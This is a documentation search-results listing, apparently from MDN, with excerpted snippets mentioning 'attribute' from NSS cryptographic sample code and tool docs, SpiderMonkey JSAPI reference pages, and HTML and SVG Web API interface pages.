break; default: return secfailure; } pr_fprintf(outfile, "%s\n", header); printasascii(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_
attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(type, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(type, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "cryp...
...cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequest
attributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequest
attributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_certificaterequesttemplate)); if (encodi...
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
} subjectcert = makev1cert(handle, certreq, issuernickname, selfsign, serialnumber, warpmonths, validitymonths); if (subjectcert == null) { rv = secfailure; goto cleanup; } exthandle = cert_startcertextensions (subjectcert); if (exthandle == null) { rv = secfailure; goto cleanup; } if (certreq->
attributes != null && certreq->
attributes[0] != null && certreq->
attributes[0]->attrtype.data != null && certreq->
attributes[0]->attrtype.len > 0 && secoid_findoidtag(&certreq->
attributes[0]->attrtype) == sec_oid_pkcs9_extension_request) { rv = cert_getcertificaterequestextensions(certreq, &crexts); if (rv != secsuccess) { ...
...ificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequest
attributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequest
attributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_certificaterequesttemplate)); ...
Encrypt Decrypt_MAC_Using Token
, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id. */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readraw
attribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readraw
attribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id
attribute\n"); return rv; } return rv; } /* * generate a symmetric key. */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize,...
...; strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code. ...
EncDecMAC using token object - sample 3
as an input file and produces\n", "note :"); fprintf(stderr, "%-7s .enc and .header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes .enc and .header\n", ""); fprintf(stderr, "%-7s as input files and produces as a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readraw
attribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readraw
attribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id
attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk1...
...er, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_
attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); ...
sample2
r */ certreq = getcertrequest(infilename, ascii); if (certreq == null) { rv = secfailure; goto cleanup; } subjectcert = makev1cert(handle, certreq, issuernickname, selfsign, serialnumber, warpmonths, validitymonths); if (subjectcert == null) { rv = secfailure; goto cleanup; } exthandle = cert_startcertextensions (subjectcert); if (exthandle == null) { rv = secfailure; goto cleanup; } if (certreq->
attributes != null && certreq->
attributes[0] != null && certreq->
attributes[0]->attrtype.data != null && certreq->
attributes[0]->attrtype.len > 0 && secoid_findoidtag(&certreq->
attributes[0]->attrtype) == sec_oid_pkcs9_extension_request) { rv = cert_getcertificaterequestextensions(certreq, &crexts); if (rv != secsuccess) { pr_fprintf(pr_stderr, "%s\n", port_errortostring(rv)); goto cleanup; } rv = cert_mer...
... rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequest
attributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequest
attributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(arena, null, cr, sec_asn1_get(cert_certificaterequesttemplate)); if (encoding == null) { pr_fprintf(pr_stderr, "der encoding of request failed\n"); rv = secfailure...
FC_GenerateKey
phkey [out] pointer to the location to receive the handle of the new key. description fc_generatekey generates a secret key, creating a new key object. the handle of new key is returned. ...
...phkey [out] pointer to the location to receive the handle of the new key. description fc_generatekey generates a secret key, creating a new key object. the handle of new key is returned. ...
NSS tools : cmsutil
-e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time
attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default...
...h info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities
attribute. -p password use password as key database password. -r recipient1,recipient2, ... specify list of recipients (email addresses) for an encrypted or enveloped message. for certificates-only message, list of certificates to send. -t suppress content in cms message (sign only). -u certusage set type of cert usage (d...
Property cache
a shape, a 24-bit unsigned integer such that: basic layout guarantee — if at time t0 the object x has shape s and at time t1 the object y has shape s, and no shape-regenerating gc occurred, then y at t1 has the same jsclass, jsobjectops, prototype, and property specs as x had at t0. to be more precise regarding property specs, y's properties have the same names, getters, setters, property
attributes, and slot offsets, and they are in the same order, as x's properties at t0. furthermore, y at t1 has the same number of fixed slots that x had at t0, and either both have a slot array or neither does. (informally: objects with the same shape have the same prototype, class, and layout.) prototype chain shadowing guarantee — if at t0 the object x has shape s and a property x.p of x is foun...
... obj with shape kshape, and rt->protohazardshape == vshape, the lookup can be skipped. it is guaranteed that obj does not have an own property with the desired name and does not inherit a jsprop_shared or jsprop_readonly property with that name from any prototype. it is guaranteed that vword.issprop(), and vword.tosprop() describes the property that should be added to obj. with regard to property
attributes, getters, setters, and so forth, the property cache entry must take into account several rules documented at js_setproperty. sometimes the new property can be created simply by calling jsscope::extend, but there are many special cases and pitfalls to watch out for. when a prototype gains a property that could invalidate an entry of this type, rt->protohazardshape is bumped, effectively marking ...
JSConstDoubleSpec
int8_t spare[3]; // obsolete from jsapi 35 */ }; typedef jsconstscalarspec<double> jsconstdoublespec; typedef jsconstscalarspec<int32_t> jsconstintegerspec; // added in spidermonkey 38 name type description val double or int32_t value for the double or integer. name const char * name to assign the double. flags uint8_t property
attributes for the double. obsolete since jsapi 35 currently these can be 0 or more of the following values or'd: jsprop_enumerate: property is visible in for loops. jsprop_readonly: property is read-only. jsprop_permanent: property cannot be deleted. jsprop_exported: property can be exported outside its object. jsprop_index: property is actually an array element. if ...
...e can be 0 or more of the following values or'd: jsprop_enumerate: property is visible in for loops. jsprop_readonly: property is read-only. jsprop_permanent: property cannot be deleted. jsprop_exported: property can be exported outside its object. jsprop_index: property is actually an array element. if this field is 0, js_defineconstdoubles uses the default
attributes jsprop_readonly | jsprop_permanent instead. spare uint8_t [3] reserved for future use. obsolete since jsapi 35 description jsconstdoublespecs is used to define a set of double values that are assigned as properties to an object using js_defineconstdoubles. jsconstintegerspecs is used to define a set of double values that are assigned as properties to an object using js_d...
JS_CheckAccess
t * the object that has the property being accessed. id jsid the name or index of the property being accessed. mode jsaccessmode the type of access requested (read, write, etc.) vp jsval * out parameter. on success, *vp receives the property's stored value. attrsp unsigned int * out parameter. on success, *attrsp receives the property
attributes. description js_checkaccess determines whether the property of obj given by id can be accessed by the code currently running in the context cx. the mode parameter specifies what kind of access to check for. it is one of the following values: value description jsacc_proto check for permission to read to obj's prototype. (this is redundant with passing the string ...
...ass.checkaccess callback, then it is called to perform the check. otherwise, if a runtime-wide check-object-access callback has been installed by calling js_setcheckobjectaccesscallback, then that is called to perform the check. otherwise, access is granted. on success, js_checkaccess returns js_true, *vp is set to the current value of the specified property, and *attrsp is set to the property's
attributes. on error or exception, including if access is denied, js_checkaccess returns js_false, and the values left in *vp and *attrsp are undefined. mxr id search for js_checkaccess ...
JS_DefineElement
s::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double or jsval initial value to assign to the property. getter jsnative or jspropertyop getproperty method for retrieving the current property value. setter jsnative or jsstrictpropertyop setproperty method for specifying a new property value. flags unsigned property
attributes. obsolete since jsapi 32 description js_defineelement defines a numeric property for a specified object, obj. index is the index of the element being defined. value is one of js::value, jsobject, jsstring, int32_t, uint32_t, or double that defines the property's initial value. getter and setter identify the getproperty and setproperty methods for the property, respectively. if you pass ...
... is one of js::value, jsobject, jsstring, int32_t, uint32_t, or double that defines the property's initial value. getter and setter identify the getproperty and setproperty methods for the property, respectively. if you pass null values for these entries, js_defineelement assigns the default getproperty and setproperty methods to this element. obsolete since jsapi 32 flags contains the property
attributes to set for the new property. on success, js_defineelement returns true. otherwise it returns false. obsolete since jsapi 32. while you can assign a setproperty method to a property and set flags to jsprop_readonly, the setter method will not be called on this property. see also mxr id search for js_defineelement js_defineconstdoubles js_definefunction js_definefunctions js_defineobject j...
HTMLMediaElement.load() - Web APIs
the htmlmediaelement method load() resets the media element to its initial state and begins the process of selecting a media source and loading the media in preparation for playback to begin at the beginning. the amount of media data that is prefetched is determined by the value of the element's preload
attribute. this method is generally only useful when you've made dynamic changes to the set of sources available for the media element, either by changing the element's src
attribute or by adding or removing <source> elements nested within the media element itself. load() will reset the element and rescan the available sources, thereby causing the changes to take effect. syntax mediaelement.load(); parameters none. return value undefined. usage notes calling load() aborts all ongoing opera...
...ment and rescan the available sources, thereby causing the changes to take effect. syntax mediaelement.load(); parameters none. return value undefined. usage notes calling load() aborts all ongoing operations involving this media element, then begins the process of selecting and loading an appropriate media resource given the options specified in the <audio> or <video> element and its src
attribute or child <source> element(s). this is described in more detail in supporting multiple formats in video and audio content. the process of aborting any ongoing activities will cause any outstanding promises returned by play() being resolved or rejected as appropriate based on their status before the loading of new media can begin. pending play promises are aborted with an "aborterror" domexception...
HTMLMediaElement: pause event - Web APIs
xamples these examples add an event listener for the htmlmediaelement's pause event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('pause', (event) => { console.log('the boolean paused property is now true. ...
...e', (event) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay
attribute was toggled.'); }); using the onpause event handler property: const video = document.queryselector('video'); video.onpause = (event) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay
attribute was toggled.'); }; specifications specification status html living standardthe definition of 'pause media event' in that specification. living standard html5the definition of 'pause media event' in that specification. recommendation ...
HTMLMediaElement: timeupdate event - Web APIs
the event frequency is dependant on the system load, but will be thrown between about 4hz and 66hz (assuming the event handlers don't take longer than 250ms to run). user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the video. ...
...dia examples these examples add an event listener for the htmlmediaelement's timeupdate event, then post a message when that event handler has reacted to the event firing. remember, the event frequency is dependant on the system load. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('timeupdate', (event) => { console.log('the currenttime
attribute has been updated. again.'); }); using the ontimeupdate event handler property: const video = document.queryselector('video'); video.ontimeupdate = (event) => { console.log('the currenttime
attribute has been updated. again.'); }; specifications specification status html living standardthe definition of 'timeupdate media event' in that specification. living stand...
HTMLMeterElement - Web APIs
nt-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmeterelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from its parent, htmlelement. htmlmeterelement.high a double representing the value of the high boundary, reflecting the high
attribute. htmlmeterelement.low a double representing the value of the low boundary, reflecting the low
attribute. htmlmeterelement.max a double representing the maximum value, reflecting the max
attribute. htmlmeterelement.min a double representing the minimum value, reflecting the min
attribute. htmlmeterelement.optimum a double representing the optimum, reflecting the optimum
attribute. htmlmete...
... htmlmeterelement.labelsread only a nodelist of <label> elements that are associated with the element. methods this interface does not implement any specific methods but inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmlmeterelement' in that specification. ...
Option() - Web APIs
tor creates a new htmloptionelement. syntax var optionelementreference = new option(text, value, defaultselected, selected); parameters text optional a domstring representing the content of the element, i.e. the displayed text. if this is not specified, a default value of "" (empty string) is used. value optional a domstring representing the value of the htmloptionelement, i.e. the value
attribute of the equivalent <option>. if this is not specified, the value of text is used as the value, e.g. for the associated <select> element's value when the form is submitted to the server. defaultselected optional a boolean that sets the selected
attribute value, i.e. so that this <option> will be the default value selected in the <select> element when the page is first loaded. if this is not speci...
... <option>third</option> </select> */ var s = document.getelementbyid('s'); var options = [ 'zero', 'one', 'two' ]; options.foreach(function(element, key) { if (element == 'zero') { s[s.options.length] = new option(element, s.options.length, false, false); } if (element == 'one') { s[s.options.length] = new option(element, s.options.length, true, false); // will add the "selected"
attribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment ...
HTMLOrForeignElement.nonce - Web APIs
the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed. in later implementations, elements only expose their nonce
attribute to scripts (and not to side-channels like css
attribute selectors). examples retrieving a nonce value in the past, not all browsers supported the nonce idl
attribute, so a workaround is to try to use get
attribute as a fallback: let nonce = script['nonce'] || script.get
attribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exfiltr...
... browser compatibility the compatibility table on this page is generated from structured data. ...
HTMLParamElement - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlparamelement.name is a domstring representing the name of the parameter. it reflects the name
attribute. ...
..."middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlparamelement.name is a domstring representing the name of the parameter. it reflects the name
attribute. htmlparamelement.value is a domstring representing the value associated to the parameter. it reflects the value
attribute. htmlparamelement.type is a domstring containing the type of the parameter when valuetype has the "ref" value. it reflects the type
attribute. htmlparamelement.valuetype is a domstring containing the type of the value. it reflects the valuetype
attribute and has one of the values: "data", "ref", or "object". methods no specific methods, inherits methods from its parent, htmlelement. s...
HTMLSourceElement - Web APIs
th="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlsourceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlsourceelement.media is a domstring reflecting the media html
attribute, containing the intended type of the media resource. htmlsourceelement.sizes is a domstring representing image sizes between breakpoints htmlsourceelement.src is a domstring reflecting the src html
attribute, containing the url for the media resource. the htmlsourceelement.src property has a meaning only when the associated <source> element is nested in a media element that is a <video> or ...
... a media element that is a <video> or an <audio> element. it has no meaning and is ignored when it is nested in a <picture> element. note: if the src property is updated (along with any siblings), the parent htmlmediaelement's load method should be called when done, since <source> elements are not re-scanned automatically. htmlsourceelement.srcset is a domstring reflecting the srcset html
attribute, containing a list of candidate images, separated by a comma (',', u+002c comma). a candidate image is a url followed by a 'w' with the width of the images, or an 'x' followed by the pixel density. htmlsourceelement.type is a domstring reflecting the type html
attribute, containing the type of the media resource. methods no specific method; inherits methods from its parent, htmlelement. spe...
HTMLTableRowElement - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablerowelement.align is a domstring containing an enumerated value reflecting the align
attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablerowelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor
attribute. htmltablerowelement.cells read only returns a live htmlcollection containing the cells in the row. the htmlco...
...art of a table, returns -1. htmltablerowelement.sectionrowindex read only returns a long value which gives the logical position of the row within the table section it belongs to. if the row is not part of a section, returns -1. htmltablerowelement.valign is a domstring representing an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign
attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablerowelement.deletecell() removes the cell at the given position in the row. if the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than 0, it raises a domexception with the indexsizeer...
HTMLTableSectionElement - Web APIs
ze="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablesectionelement.align is a domstring containing an enumerated value reflecting the align
attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablesectionelement.rows read only returns a live htmlcollection containing the rows in the section. the htmlcollection is live and is automatically updated when rows are added or removed. htmltablesectionelement.ch is a domstring contain...
...ow many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by htmltablerowelement.ch. this property was optional and was not very well supported. htmltablesectionelement.valign is a domstring representing an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign
attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablesectionelement.deleterow() removes the cell at the given position in the section. if the given position is greater (or equal as it starts at zero) than the amount of rows in the section, or is smaller than 0, it raises a domexception with the i...
HTMLTrackElement - Web APIs
dth="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltrackelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltrackelement.kind is a domstring that reflects the kind html
attribute, indicating how the text track is meant to be used. possible values are: subtitles, captions, descriptions, chapters, or metadata. htmltrackelement.src is a domstring that reflects the src html
attribute, indicating the address of the text track data. htmltrackelement.srclang is a domstring that reflects the srclang html
attribute, indicating the language of the text track data. htmltrackele...
...sible values are: subtitles, captions, descriptions, chapters, or metadata. htmltrackelement.src is a domstring that reflects the src html
attribute, indicating the address of the text track data. htmltrackelement.srclang is a domstring that reflects the srclang html
attribute, indicating the language of the text track data. htmltrackelement.label is a domstring that reflects the label html
attribute, indicating a user-readable title for the track. htmltrackelement.default a boolean reflecting the default
attribute, indicating that the track is to be enabled if the user's preferences do not indicate that another track would be more appropriate. htmltrackelement.readystate read only returns an unsigned short that show the readiness state of the track: constant value ...
HTMLVideoElement.msZoom - Web APIs
right, to fit the video display. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mszoom; value boolean value set to true trims the video frame to the display space. set to false the video frame uses letter box or pillarbox to display video. ...
...soft edge. syntax htmlvideoelement.mszoom; value boolean value set to true trims the video frame to the display space. set to false the video frame uses letter box or pillarbox to display video. if the native aspect ratio of a video frame, which is defined by the videowidth and videoheight
attributes, does not match the aspect ratio of the video tag, which is defined by the width and height
attributes, the video is rendered with letterbox or pillarbox format. letterbox and pillarbox are the black bars on either the left and right of the video or the top and bottom of the video. when the mszoom
attribute is set to true, the rendered video is trimmed to fit the dimensions of the video object. either the top and bottom of the video is trimmed or the left and right of the video is trimmed. for ...
HTMLVideoElement - Web APIs
size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlvideoelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its ancestor interfaces, htmlmediaelement, and htmlelement. htmlvideoelement.height is a domstring that reflects the height html
attribute, which specifies the height of the display area, in css pixels. htmlvideoelement.poster is a domstring that reflects the poster html
attribute, which specifies an image to show while no video data is available. htmlvideoelement.videoheight read only returns an unsigned integer value indicating the intrinsic height of the resource in css pixels, or 0 if no media is available yet. htmlvideoel...
...nt.videoheight read only returns an unsigned integer value indicating the intrinsic height of the resource in css pixels, or 0 if no media is available yet. htmlvideoelement.videowidth read only returns an unsigned integer value indicating the intrinsic width of the resource in css pixels, or 0 if no media is available yet. htmlvideoelement.width is a domstring that reflects the width html
attribute, which specifies the width of the display area, in css pixels. gecko-specific properties htmlvideoelement.mozparsedframes read only returns an unsigned long with the count of video frames that have been parsed from the media resource. htmlvideoelement.mozdecodedframes read only returns an unsigned long with the count of parsed video frames that have been decoded into images. htmlvide...
SVGAnimatedPreserveAspectRatio - Web APIs
svg animated preserveaspectratio interface the svganimatedpreserveaspectratio interface is used for
attributes of type svgpreserveaspectratio which can be animated. interface overview also implement none methods none properties readonly float baseval readonly float animval normative document svg 1.1 (2nd edition) properties svganimatedpreserveaspectratio.baseval read only is a svgpreserveaspectratio that represents the base value of the given
attribute before applying any animations. ...
...y float animval normative document svg 1.1 (2nd edition) properties svganimatedpreserveaspectratio.baseval read only is a svgpreserveaspectratio that represents the base value of the given
attribute before applying any animations. svganimatedpreserveaspectratio.animval read only is a svgpreserveaspectratio that represents the current animated value of the given
attribute. if the given
attribute is not currently being animated, then the svgpreserveaspectratio will have the same contents as baseval. the object referenced by animval is always distinct from the one referenced by baseval, even when the
attribute is not animated. methods the svganimatedpreserveaspectratio interface do not provide any specific methods. browser compatibility the compatibility table ...
SVGAnimatedRect - Web APIs
the svganimatedrect interface is used for
attributes of basic svgrect which can be animated. interface overview also implement none methods none properties readonly svgrect baseval readonly svgrect animval normative document svg 1.1 (2nd edition) properties name type description baseval svgrect the base value of the given
attribute before applying any animations. animval svgrect a read only svgrect representing the current animated value of the given
attribute. if the given
attribute is not currently being animated, then the svgrect will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even...
... methods the svganimatedrect interface do not provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
SVGAnimatedString.animVal - Web APIs
internet explorer 9 supports script-based svg animation but it does not support declarative-based svg animation. as a result, the animval property contains the same value as the baseval property. ...
...internet explorer 9 supports script-based svg animation but it does not support declarative-based svg animation. as a result, the animval property contains the same value as the baseval property. ...
SVGAnimatedTransformList - Web APIs
svg animated transform list interface the svganimatedtransformlist interface is used for
attributes which take a list of numbers and which can be animated. interface overview also implement none methods none properties readonly svgtransformlist baseval readonly svgtransformlist animval normative document svg 1.1 (2nd edition) properties name type description baseval svgtransformlist the base value of the given
attribute before applying any animations. animval svgtransformlist a read only svgtransformlist representing the current animated value of the given
attribute. ...
...transformlist animval normative document svg 1.1 (2nd edition) properties name type description baseval svgtransformlist the base value of the given
attribute before applying any animations. animval svgtransformlist a read only svgtransformlist representing the current animated value of the given
attribute. if the given
attribute is not currently being animated, then the svgtransformlist will have the same contents as baseval. the object referenced by animval will always be distinct from the one referenced by baseval, even when the
attribute is not animated. methods the svganimatedtransformlist interface doesn't provide any specific methods. browser compatibility the compatibility table on this page is generated...
SVGCircleElement - Web APIs
pace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcircleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement. svgcircleelement.cx read only this property defines the x-coordinate of the center of the <circle> element. it is denoted by the cx
attribute of the element. svgcircleelement.cy read only this property defines the y-coordinate of the center of the <circle> element. it is denoted by the cy
attribute of the element. svgcircleelement.r read only this property defines the radius of the <circle> element. it is denoted by the r of the element. methods this interface has no methods but inherits methods from its parent, svgg...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification. candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement sc...
SVGElement - Web APIs
nment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which provides a list of key/value pairs of named data
attributes which correspond to custom data
attributes attached to the element. these can also be defined in svg using
attributes of the form data-*, where * is the key name for the pair. this works just like html's htmlelement.dataset property and html's data-* global
attribute. svgelement.classname read only an svganimatedstring that reflects the value of the class
attribute on the given element, or t...
...authors are advised to use element.classlist instead. svgelement.ownersvgelementread only an svgsvgelement referring to the nearest ancestor <svg> element. null if the given element is the outermost <svg> element. ...
SVGFEBlendElement - Web APIs
to the value multiply. svg_feblend_mode_screen 3 corresponds to the value screen. svg_feblend_mode_darken 4 corresponds to the value darken. svg_feblend_mode_lighten 5 corresponds to the value lighten. properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandard
attributes. svgfeblendelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfeblendelement.in2 read only an svganimatedstring corresponding to the in2
attribute of the given element. svgfeblendelement.mode read only an svganimatedenumeration corresponding to the mode
attribute of the given element. it takes one of the svg_feblend_mode_* constants d...
... specifications specification status comment filter effects module level 1the definition of 'svgfeblendelement' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeblendelement' in that specification. ...
SVGFEColorMatrixElement - Web APIs
atrix_type_saturate 2 corresponds to the saturate value. svg_fecolormatrix_type_huerotate 3 corresponds to huerotate value. svg_fecolormatrix_type_luminancetoalpha 4 corresponds to luminancetoalpha value. properties this interface also inherits properties from its parent interface, svgelement , and also implements properties of svgfilterprimitivestandard
attributes. svgfecolormatrixelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfecolormatrixelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_fecolormatrix_type_* constants defined on this interface. svgfecolormatrixelement.values read only an svganimatednumberlist ...
...t.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfecolormatrixelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_fecolormatrix_type_* constants defined on this interface. svgfecolormatrixelement.values read only an svganimatednumberlist corresponding to the values
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement , and also implements methods of svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of 'svgfecolormatrixelement' in that specification. working draft no chang...
SVGFEComponentTransferElement - Web APIs
specifications specification status comment filter effects module le...
...dle" alignment-baseline="middle">svgfecomponenttransferelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and implements properties of svgfilterprimitivestandard
attributes. svgfecomponenttransferelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and implements methods of svgfilterprimitivestandard
attributes. specifications specification status comment filter effects module level 1the definition of 'svgfecomponenttransferelement' in that specification. working draft no chang...
SVGFECompositeElement - Web APIs
ut value. svg_fecomposite_operator_atop 4 corresponds to atop value. svg_fecomposite_operator_xor 5 corresponds to xor value. svg_fecomposite_operator_arithmetic 6 corresponds to arithmetic value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
